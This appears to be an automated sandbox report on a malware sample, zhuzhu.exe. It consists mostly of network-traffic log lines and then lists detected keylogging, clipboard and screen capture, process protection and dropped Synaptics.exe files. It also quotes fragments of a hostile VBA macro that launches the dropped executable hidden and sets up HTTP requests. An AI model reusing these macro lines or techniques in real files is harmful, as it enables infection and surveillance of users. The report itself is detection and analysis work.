Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 47.79.48.211:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49970 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: [esc]	4_2_0377E850
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: [esc]	4_2_0377E850
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: [esc]	4_2_0377E850
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: [esc]	4_2_0377E850

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_0377E850 Sleep,CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

4_2_0377E850

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

4_2_0377E850

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_0377BC70 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

4_2_0377BC70

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_0377E4F0 Sleep,CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

4_2_0377E4F0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Source: Yara match	File source: zhuzhu.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.._cache_zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1664705656.00000000006F9000.00000008.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zhuzhu.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_zhuzhu.exe PID: 3624, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_zhuzhu.exe, type: DROPPED

E-Banking Fraud

Checks if browser processes are running

Source: C:\Users\user\Downloads\inst.exe

Code function: _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW, Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads

7_2_001B8A46

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Process information set: 01 00 00 00

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: FHfEA7As.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: XZXHAVGRAG.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
